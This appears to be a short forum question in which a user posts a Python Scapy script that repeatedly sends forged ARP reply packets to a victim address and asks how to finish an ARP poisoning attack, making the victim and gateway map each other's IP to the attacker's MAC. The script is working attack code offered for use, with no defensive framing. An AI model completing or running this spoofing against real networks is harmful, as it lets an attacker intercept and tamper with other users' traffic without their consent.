I am trying to use the "ip is at macadress" option but cant figure how to do so... here is my code atm:
from scapy.all import *
victim = "192.168.5.51"
spoof = "192.168.5.46"
op=2
mac = "88:00:2e:00:87:00"
while True:
arp = ARP(op=op, psrc=spoof, pdst=victim, hwdst=mac)
send(arp)
What I am looking for is to send the victim ip a ARP packet with the the default gateway ip/mac and send the gateway the ip/mac of the attacker The attack is arp poisonning